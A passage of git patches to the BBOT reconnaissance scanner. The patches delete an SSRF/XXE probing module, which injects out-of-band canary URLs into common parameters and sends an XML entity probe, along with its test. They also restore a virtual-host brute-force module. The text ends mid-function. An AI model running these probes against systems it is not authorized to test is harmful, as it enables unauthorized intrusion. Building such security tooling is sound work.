delete mode 100644 bbot/modules/generic_ssrf.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py deleted file mode 100644 index 6ccde510b9..0000000000 --- a/bbot/modules/generic_ssrf.py +++ /dev/null @@ -1,262 +0,0 @@ -from bbot.errors import InteractshError -from bbot.modules.base import BaseModule - - -ssrf_params = [ - "Dest", - "Redirect", - "URI", - "Path", - "Continue", - "URL", - "Window", - "Next", - "Data", - "Reference", - "Site", - "HTML", - "Val", - "Validate", - "Domain", - "Callback", - "Return", - "Page", - "Feed", - "Host", - "Port", - "To", - "Out", - "View", - "Dir", - "Show", - "Navigation", - "Open", -] - - -class BaseSubmodule: - technique_description = "base technique description" - severity = "INFO" - paths = [] - - def __init__(self, generic_ssrf): - self.generic_ssrf = generic_ssrf - self.test_paths = self.create_paths() - - def set_base_url(self, event): - return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - - def create_paths(self): - return self.paths - - async def test(self, event): - base_url = self.set_base_url(event) - for test_path_result in self.test_paths: - for lower in [True, False]: - test_path = test_path_result[0] - if lower: - test_path = test_path.lower() - subdomain_tag = test_path_result[1] - test_url = f"{base_url}{test_path}" - self.generic_ssrf.debug(f"Sending request to URL: {test_url}") - r = await self.generic_ssrf.helpers.curl(url=test_url) - if r: - self.process(event, r, subdomain_tag) - - def process(self, event, r, subdomain_tag): - response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] - if response_token in r: - echoed_response = True - else: - echoed_response = False - - self.generic_ssrf.interactsh_subdomain_tags[subdomain_tag] = ( - event, - self.technique_description, - self.severity, - echoed_response, - ) - - -class Generic_SSRF(BaseSubmodule): - technique_description = "Generic SSRF (GET)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - def create_paths(self): - test_paths = [] - for param in ssrf_params: - query_string = "" - subdomain_tag = self.generic_ssrf.helpers.rand_string(4) - ssrf_canary = f"{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - query_string += f"{param}=http://{ssrf_canary}&" - test_paths.append((f"?{query_string.rstrip('&')}", subdomain_tag)) - return test_paths - - -class Generic_SSRF_POST(BaseSubmodule): - technique_description = "Generic SSRF (POST)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - async def test(self, event): - test_url = f"{event.data}" - - post_data = {} - for param in ssrf_params: - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - post_data[param] = f"http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - - subdomain_tag_lower = self.generic_ssrf.helpers.rand_string(4, digits=False) - post_data_lower = { - k.lower(): f"http://{subdomain_tag_lower}.{self.generic_ssrf.interactsh_domain}" - for k, v in post_data.items() - } - - post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] - - for tag, pd in post_data_list: - r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r, tag) - - -class Generic_XXE(BaseSubmodule): - technique_description = "Generic XXE" - severity = "HIGH" - paths = None - - async def test(self, event): - rand_entity = self.generic_ssrf.helpers.rand_string(4, digits=False) - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - - post_body = f""" - - -]> -&{rand_entity};""" - test_url = event.parsed_url.geturl() - r = await self.generic_ssrf.helpers.curl( - url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} - ) - if r: - self.process(event, r, subdomain_tag) - - -class generic_ssrf(BaseModule): - watched_events = ["URL"] - produced_events = ["VULNERABILITY"] - flags = ["active", "aggressive", "web-thorough"] - meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} - options = { - "skip_dns_interaction": False, - } - options_desc = { - "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)", - } - in_scope_only = True - - deps_apt = ["curl"] - - async def setup(self): - self.submodules = {} - self.interactsh_subdomain_tags = {} - self.parameter_subdomain_tags_map = {} - self.severity = None - self.skip_dns_interaction = self.config.get("skip_dns_interaction", False) - - if self.scan.config.get("interactsh_disable", False) is False: - try: - self.interactsh_instance = self.helpers.interactsh() - self.interactsh_domain = await self.interactsh_instance.register(callback=self.interactsh_callback) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - return False - else: - self.warning( - "The generic_ssrf module is completely dependent on interactsh to function, but it is disabled globally. Aborting." - ) - return None - - # instantiate submodules - for m in BaseSubmodule.__subclasses__(): - if m.__name__.startswith("Generic_"): - self.verbose(f"Starting generic_ssrf submodule: {m.__name__}") - self.submodules[m.__name__] = m(self) - - return True - - async def handle_event(self, event): - for s in self.submodules.values(): - await s.test(event) - - async def interactsh_callback(self, r): - protocol = r.get("protocol").upper() - if protocol == "DNS" and self.skip_dns_interaction: - return - - full_id = r.get("full-id", None) - subdomain_tag = full_id.split(".")[0] - - if full_id: - if "." in full_id: - match = self.interactsh_subdomain_tags.get(subdomain_tag) - if not match: - return - matched_event = match[0] - matched_technique = match[1] - matched_severity = match[2] - matched_echoed_response = str(match[3]) - - triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) - description = f"Out-of-band interaction: [{matched_technique}]" - if triggering_param: - self.debug(f"Found triggering parameter: {triggering_param}") - description += f" [Triggering Parameter: {triggering_param}]" - description += f" [{protocol}] Echoed Response: {matched_echoed_response}" - - self.debug(f"Emitting event with description: {description}") # Debug the final description - - event_type = "VULNERABILITY" if protocol == "HTTP" else "FINDING" - event_data = { - "host": str(matched_event.host), - "url": matched_event.data, - "description": description, - } - if protocol == "HTTP": - event_data["severity"] = matched_severity - - await self.emit_event( - event_data, - event_type, - matched_event, - context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}", - ) - else: - # this is likely caused by something trying to resolve the base domain first and can be ignored - self.debug("skipping result because subdomain tag was missing") - - async def cleanup(self): - if self.scan.config.get("interactsh_disable", False) is False: - try: - await self.interactsh_instance.deregister() - self.debug( - f"successfully deregistered interactsh session with correlation_id {self.interactsh_instance.correlation_id}" - ) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - - async def finish(self): - if self.scan.config.get("interactsh_disable", False) is False: - await self.helpers.sleep(5) - try: - for r in await self.interactsh_instance.poll(): - await self.interactsh_callback(r) - except InteractshError as e: - self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py deleted file mode 100644 index 23e6c7c731..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ /dev/null @@ -1,97 +0,0 @@ -import re -import asyncio -from werkzeug.wrappers import Response - -from .base import ModuleTestBase - - -def extract_subdomain_tag(data): - pattern = r"http://([a-z0-9]{4})\.fakedomain\.fakeinteractsh\.com" - match = re.search(pattern, data) - if match: - return match.group(1) - - -class TestGeneric_SSRF(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "generic_ssrf"] - config_overrides = { - "interactsh_disable": False, - } - - def request_handler(self, request): - subdomain_tag = None - - if request.method == "GET": - subdomain_tag = extract_subdomain_tag(request.full_path) - elif request.method == "POST": - subdomain_tag = extract_subdomain_tag(request.data.decode()) - if subdomain_tag: - asyncio.run( - self.interactsh_mock_instance.mock_interaction( - subdomain_tag, msg=f"{request.method}: {request.data.decode()}" - ) - ) - - return Response("alive", status=200) - - async def setup_before_prep(self, module_test): - self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - - # Mock at the helper creation level BEFORE modules are set up - def mock_interactsh_factory(*args, **kwargs): - return self.interactsh_mock_instance - - # Apply the mock to the core helpers so modules get the mock during setup - from bbot.core.helpers.helper import ConfigAwareHelper - - module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) - - async def setup_after_prep(self, module_test): - expect_args = re.compile("/") - module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 - - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 30, "Incorrect number of findings detected" - - assert any( - e.type == "VULNERABILITY" - and "Out-of-band interaction: [Generic SSRF (GET)]" - and "[Triggering Parameter: Dest]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (GET)" - assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (POST)" - assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (XXE)" - - -class TestGeneric_SSRF_httponly(TestGeneric_SSRF): - config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}} - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 - - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 0, "Incorrect number of findings detected" From 9f0ab3d32d9e6285305265a27b3fce871fabfa45 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:42:18 -0400 Subject: [PATCH 114/129] Restore virtualhost and WAF bypass modules and tests This restores the modules and tests that were temporarily removed in asn-as-targets branch: - bbot/modules/virtualhost.py - bbot/modules/waf_bypass.py - bbot/test/test_step_2/module_tests/test_module_virtualhost.py - bbot/test/test_step_2/module_tests/test_module_waf_bypass.py - bbot/presets/waf-bypass.yml - bbot/presets/web/virtualhost-heavy.yml - bbot/presets/web/virtualhost-light.yml --- bbot/modules/virtualhost.py | 1068 +++++++++++++++++ bbot/modules/waf_bypass.py | 304 +++++ bbot/presets/waf-bypass.yml | 19 + bbot/presets/web/virtualhost-heavy.yml | 16 + bbot/presets/web/virtualhost-light.yml | 16 + .../module_tests/test_module_virtualhost.py | 892 ++++++++++++++ .../module_tests/test_module_waf_bypass.py | 133 ++ 7 files changed, 2448 insertions(+) create mode 100644 bbot/modules/virtualhost.py create mode 100644 bbot/modules/waf_bypass.py create mode 100644 bbot/presets/waf-bypass.yml create mode 100644 bbot/presets/web/virtualhost-heavy.yml create mode 100644 bbot/presets/web/virtualhost-light.yml create mode 100644 bbot/test/test_step_2/module_tests/test_module_virtualhost.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_waf_bypass.py diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py new file mode 100644 index 0000000000..c1b67d538b --- /dev/null +++ b/bbot/modules/virtualhost.py @@ -0,0 +1,1068 @@ +from urllib.parse import urlparse +import random +import string + +from bbot.modules.base import BaseModule +from bbot.errors import CurlError +from bbot.core.helpers.simhash import compute_simhash + + +class virtualhost(BaseModule): + watched_events = ["URL"] + produced_events = ["VIRTUAL_HOST", "DNS_NAME", "HTTP_RESPONSE"] + flags = ["active", "aggressive", "slow", "deadly"] + meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} + + def _format_headers(self, headers): + """ + Convert list headers back to strings for HTTP_RESPONSE compatibility. + The curl helper converts multiple headers with same name to lists, + but HTTP_RESPONSE events expect them as comma-separated strings. + """ + formatted_headers = {} + for key, value in headers.items(): + if isinstance(value, list): + # Convert list back to comma-separated string + formatted_headers[key] = ", ".join(str(v) for v in value) + else: + formatted_headers[key] = value + return formatted_headers + + deps_common = ["curl"] + + SIMILARITY_THRESHOLD = 0.8 + CANARY_LENGTH = 12 + MAX_RESULTS_FLOOD_PROTECTION = 50 + + special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] + options = { + "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + "force_basehost": "", + "brute_lines": 2000, + "subdomain_brute": True, + "mutation_check": True, + "special_hosts": False, + "certificate_sans": False, + "max_concurrent_requests": 80, + "require_inaccessible": True, + "wordcloud_check": False, + "report_interesting_default_content": True, + } + options_desc = { + "brute_wordlist": "Wordlist containing subdomains", + "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", + "brute_lines": "take only the first N lines from the wordlist when finding directories", + "subdomain_brute": "Enable subdomain brute-force on target host", + "mutation_check": "Enable trying mutations of the target host", + "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", + "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", + "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", + "max_concurrent_requests": "Maximum number of concurrent virtual host requests", + "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", + "report_interesting_default_content": "Report interesting default content", + } + + in_scope_only = True + + virtualhost_ignore_strings = [ + "We weren't able to find your Azure Front Door Service", + "The http request header is incorrect.", + ] + + async def setup(self): + self.max_concurrent = self.config.get("max_concurrent_requests", 80) + self.scanned_hosts = {} + self.wordcloud_tried_hosts = set() + self.brute_wordlist = await self.helpers.wordlist( + self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) + ) + self.similarity_cache = {} # Cache for similarity results + + self.waf_strings = self.helpers.get_waf_strings() + self.virtualhost_ignore_strings + + return True + + def _get_basehost(self, event): + """Get the basehost and subdomain from the event""" + basehost = self.helpers.parent_domain(event.parsed_url.hostname) + if not basehost: + raise ValueError(f"No parent domain found for {event.parsed_url.hostname}") + subdomain = event.parsed_url.hostname.removesuffix(basehost).rstrip(".") + return basehost, subdomain + + async def _get_baseline_response(self, event, normalized_url, host_ip): + """Get baseline response for a host using the appropriate method (HTTPS SNI or HTTP Host header)""" + is_https = event.parsed_url.scheme == "https" + host = event.parsed_url.netloc + + if is_https: + port = event.parsed_url.port or 443 + baseline_response = await self.helpers.web.curl( + url=f"https://{host}:{port}/", + resolve={"host": host, "port": port, "ip": host_ip}, + ) + else: + baseline_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": host}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) + + return baseline_response + + async def handle_event(self, event): + if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): + scheme = event.parsed_url.scheme + host = event.parsed_url.netloc + normalized_url = f"{scheme}://{host}" + + # since we normalize the URL to the host level, + if normalized_url in self.scanned_hosts: + return + + self.scanned_hosts[normalized_url] = event + + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + subdomain = "" + else: + basehost, subdomain = self._get_basehost(event) + + is_https = event.parsed_url.scheme == "https" + + host_ip = next(iter(event.resolved_hosts)) + try: + baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) + except CurlError as e: + self.warning(f"Failed to get baseline response for {normalized_url}: {e}") + return None + + if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): + self.verbose( + f"WILDCARD CHECK FAILED in handle_event: Skipping {normalized_url} - failed virtual host wildcard check" + ) + return None + else: + self.verbose(f"WILDCARD CHECK PASSED in handle_event: Proceeding with {normalized_url}") + + # Phase 1: Main virtual host bruteforce + if self.config.get("subdomain_brute", True): + self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===") + await self._run_virtualhost_phase( + "Target host Subdomain Brute-force", + normalized_url, + basehost, + host_ip, + is_https, + event, + "subdomain", + ) + + # only run mutations if there is an actual subdomain (to mutate) + if subdomain: + # Phase 2: Check existing host for mutations + if self.config.get("mutation_check", True): + self.verbose(f"=== Starting mutations check on {normalized_url} ===") + await self._run_virtualhost_phase( + "Mutations on target host", + normalized_url, + basehost, + host_ip, + is_https, + event, + "mutation", + wordlist=self.mutations_check(subdomain), + ) + + # Phase 3: Special virtual host list + if self.config.get("special_hosts", True): + self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===") + await self._run_virtualhost_phase( + "Special virtual host list", + normalized_url, + "", + host_ip, + is_https, + event, + "random", + wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), + skip_dns_host=True, + ) + + # Phase 4: Obtain subject alternate names from certicate and analyze them + if self.config.get("certificate_sans", True): + self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") + if is_https: + subject_alternate_names = await self._analyze_subject_alternate_names(event.data) + if subject_alternate_names: + self.debug( + f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}" + ) + + # Use SANs as potential virtual hosts for testing + san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False) + await self._run_virtualhost_phase( + "Certificate Subject Alternate Name", + normalized_url, + "", + host_ip, + is_https, + event, + "random", + wordlist=san_wordlist, + skip_dns_host=True, + ) + + async def _analyze_subject_alternate_names(self, url): + """Analyze subject alternate names from certificate""" + from OpenSSL import crypto + from bbot.modules.sslcert import sslcert + + parsed = urlparse(url) + host = parsed.netloc + + response = await self.helpers.web.curl(url=url) + if not response or not response.get("certs"): + self.debug(f"No certificate data available for {url}") + return [] + + cert_output = response["certs"] + subject_alt_names = [] + + try: + cert_lines = cert_output.split("\n") + pem_lines = [] + in_cert = False + + for line in cert_lines: + if "-----BEGIN CERTIFICATE-----" in line: + in_cert = True + pem_lines.append(line) + elif "-----END CERTIFICATE-----" in line: + pem_lines.append(line) + break + elif in_cert: + pem_lines.append(line) + + if pem_lines: + cert_pem = "\n".join(pem_lines) + cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_pem) + + # Use the existing SAN extraction method from sslcert module + sans = sslcert.get_cert_sans(cert) + + for san in sans: + self.debug(f"Found SAN: {san}") + if san != host and san not in subject_alt_names: + subject_alt_names.append(san) + else: + self.debug("No valid PEM certificate found in response") + + except Exception as e: + self.warning(f"Error parsing certificate for {url}: {e}") + + self.debug( + f"Found {len(subject_alt_names)} Subject Alternative Names: {subject_alt_names} (besides original target host {host})" + ) + return subject_alt_names + + async def _report_interesting_default_content(self, event, canary_hostname, host_ip, canary_response): + discovery_method = "Interesting Default Content (from intentionally-incorrect canary host)" + # Build URL with explicit authority to avoid double-port issues + authority = ( + f"{event.parsed_url.hostname}:{event.parsed_url.port}" + if event.parsed_url.port is not None + else event.parsed_url.hostname + ) + # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI) + canary_host = (canary_hostname or "").split(":")[0] + virtualhost_dict = { + "host": str(event.host), + "url": f"{event.parsed_url.scheme}://{authority}/", + "virtual_host": canary_host, + "description": self._build_description(discovery_method, canary_response, True, host_ip), + "ip": host_ip, + } + + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + + # Emit HTTP_RESPONSE event with the canary response data + # Format to match what badsecrets expects + headers = canary_response.get("headers", {}) + headers = self._format_headers(headers) + + # Get the scheme from the actual probe URL + probe_url = canary_response.get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": canary_host, + "url": f"{actual_scheme}://{canary_host}/", + "method": "GET", + "status_code": canary_response.get("http_code", 0), + "content_length": len(canary_response.get("response_data", "")), + "body": canary_response.get("response_data", ""), # badsecrets expects 'body' + "response_data": canary_response.get("response_data", ""), # keep for compatibility + "header": headers, + "raw_header": canary_response.get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + + def _get_canary_random_host(self, host, basehost, mode="subdomain"): + """Generate a random host for the canary""" + # Seed RNG with domain to get consistent canary hosts for same domain + random.seed(host) + + # Generate canary hostname based on mode + if mode == "mutation": + # Prepend random 4-character string with dash to existing hostname + random_prefix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{random_prefix}-{host}" + elif mode == "subdomain": + # Default subdomain mode - add random subdomain + canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost + elif mode == "random_append": + # Append random string to existing hostname (first domain level) + random_suffix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}" + elif mode == "random": + # Fully random hostname with .com TLD + random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + canary_host = f"{random_host}.com" + else: + raise ValueError(f"Invalid canary mode: {mode}") + + return canary_host + + async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): + """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" + + parsed = urlparse(normalized_url) + # Use hostname without port to avoid duplicating port in canary host + host = parsed.hostname or (parsed.netloc.split(":")[0] if ":" in parsed.netloc else parsed.netloc) + + # Seed RNG with domain to get consistent canary hosts for same domain + canary_host = self._get_canary_random_host(host, basehost, mode) + + # Get canary response + if is_https: + port = parsed.port or 443 + canary_response = await self.helpers.web.curl( + url=f"https://{canary_host}:{port}/", + resolve={"host": canary_host, "port": port, "ip": host_ip}, + ) + else: + http_port = parsed.port or 80 + canary_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": canary_host}, + resolve={"host": parsed.hostname, "port": http_port, "ip": host_ip}, + ) + + return canary_response + + async def _is_host_accessible(self, url): + """ + Check if a URL is already accessible via direct HTTP request. + Returns True if the host is accessible (and should be skipped), False otherwise. + """ + try: + response = await self.helpers.web.curl(url=url) + if response and int(response.get("http_code", 0)) > 0: + return True + else: + return False + except CurlError as e: + self.debug(f"Error checking accessibility of {url}: {e}") + return False + + async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): + """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" + + # Extract hostname and port separately to avoid corrupting the port portion + original_hostname = event.parsed_url.hostname or "" + original_port = event.parsed_url.port + + # Try to mutate the first alphabetic character in the hostname + modified_hostname = None + for i, char in enumerate(original_hostname): + if char.isalpha(): + new_char = "z" if char != "z" else "a" + modified_hostname = original_hostname[:i] + new_char + original_hostname[i + 1 :] + break + + if modified_hostname is None: + # Fallback: generate random hostname of similar length (hostname-only) + modified_hostname = "".join( + random.choice(string.ascii_lowercase) for _ in range(len(original_hostname) or 12) + ) + + # Build modified host strings for each protocol + https_modified_host_for_sni = modified_hostname + http_modified_host_for_header = f"{modified_hostname}:{original_port}" if original_port else modified_hostname + + # Test modified host + if probe_scheme == "https": + port = event.parsed_url.port or 443 + # Log the canary URL for the wildcard SNI test + self.debug( + f"CANARY URL: https://{https_modified_host_for_sni}:{port}/ [phase=wildcard-check, mode=single-char-mutation]" + ) + wildcard_canary_response = await self.helpers.web.curl( + url=f"https://{https_modified_host_for_sni}:{port}/", + resolve={"host": https_modified_host_for_sni, "port": port, "ip": host_ip}, + ) + else: + # Log the canary URL for the wildcard Host header test + http_port = event.parsed_url.port or 80 + self.debug( + f"CANARY URL: {probe_scheme}://{http_modified_host_for_header if ':' in http_modified_host_for_header else f'{http_modified_host_for_header}:{http_port}'}/ [phase=wildcard-check, mode=single-char-mutation]" + ) + wildcard_canary_response = await self.helpers.web.curl( + url=f"{probe_scheme}://{event.parsed_url.netloc}/", + headers={"Host": http_modified_host_for_header}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) + + if not wildcard_canary_response or wildcard_canary_response["http_code"] == 0: + self.debug( + f"Wildcard check: {http_modified_host_for_header} failed to respond, assuming {probe_host} is valid" + ) + return True # Modified failed, original probably valid + + # If HTTP status codes differ, consider this a pass (not wildcard) + if probe_response.get("http_code") != wildcard_canary_response.get("http_code"): + self.debug( + f"WILDCARD CHECK OK (status mismatch): {probe_host} ({probe_response.get('http_code')}) vs {http_modified_host_for_header} ({wildcard_canary_response.get('http_code')})" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + return True + + probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"]) + wildcard_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, wildcard_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) + + # Compare original probe response with modified response + + result = similarity <= self.SIMILARITY_THRESHOLD + + if not result: + self.debug( + f"WILDCARD DETECTED: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" + ) + else: + self.debug( + f"WILDCARD CHECK OK: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> PASS (not wildcard)" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + + return result # True if they're different (good), False if similar (wildcard) + + async def _run_virtualhost_phase( + self, + discovery_method, + normalized_url, + basehost, + host_ip, + is_https, + event, + canary_mode, + wordlist=None, + skip_dns_host=False, + ): + """Helper method to run a virtual host discovery phase and optionally mutations""" + + canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + + if not canary_response: + self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") + return [] + + results = await self.curl_virtualhost( + discovery_method, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + wordlist, + skip_dns_host, + ) + + # Emit all valid results + for virtual_host_data in results: + # Emit VIRTUAL_HOST event + await self.emit_event( + virtual_host_data["virtualhost_dict"], + "VIRTUAL_HOST", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", + ) + + # Emit HTTP_RESPONSE event with the probe response data + # Format to match what badsecrets expects + headers = virtual_host_data["probe_response"].get("headers", {}) + headers = self._format_headers(headers) + + # Get the scheme from the actual probe URL + probe_url = virtual_host_data["probe_response"].get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": virtual_host_data["probe_host"], + "url": f"{actual_scheme}://{virtual_host_data['probe_host']}/", # Use the actual virtual host URL with correct scheme + "method": "GET", + "status_code": virtual_host_data["probe_response"].get("http_code", 0), + "content_length": len(virtual_host_data["probe_response"].get("response_data", "")), + "body": virtual_host_data["probe_response"].get("response_data", ""), # badsecrets expects 'body' + "response_data": virtual_host_data["probe_response"].get( + "response_data", "" + ), # keep for compatibility + "header": headers, + "raw_header": virtual_host_data["probe_response"].get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + + # Emit DNS_NAME_UNVERIFIED event if needed + if virtual_host_data["skip_dns_host"] is False: + await self.emit_event( + virtual_host_data["virtualhost_dict"]["virtual_host"], + "DNS_NAME_UNVERIFIED", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", + ) + + async def curl_virtualhost( + self, + discovery_method, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + wordlist=None, + skip_dns_host=False, + ): + if wordlist is None: + wordlist = self.brute_wordlist + + # Get baseline host for comparison and determine scheme from event + baseline_host = event.parsed_url.netloc + + # Collect all words for concurrent processing + candidates_to_check = [] + for word in self.helpers.read_file(wordlist): + word = word.strip() + if not word: + continue + + # Construct virtual host header + if basehost: + # Wordlist entries are subdomain prefixes - append basehost + probe_host = f"{word}.{basehost}" + + else: + # No basehost - use as-is + probe_host = word + + # Skip if this would be the same as the original host + if probe_host == baseline_host: + continue + + candidates_to_check.append(probe_host) + + self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") + + host_ips = event.resolved_hosts + total_tests = len(candidates_to_check) * len(host_ips) + + self.verbose( + f"Initiating {total_tests} virtual host tests ({len(candidates_to_check)} candidates × {len(host_ips)} IPs) with max {self.max_concurrent} concurrent requests" + ) + + # Collect all virtual host results before emitting + virtual_host_results = [] + + # Process results as they complete with concurrency control + try: + # Build coroutines on-demand without wrapper + coroutines = ( + self._test_virtualhost( + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ) + for host_ip in host_ips + for probe_host in candidates_to_check + ) + + async for completed in self.helpers.as_completed(coroutines, self.max_concurrent): + 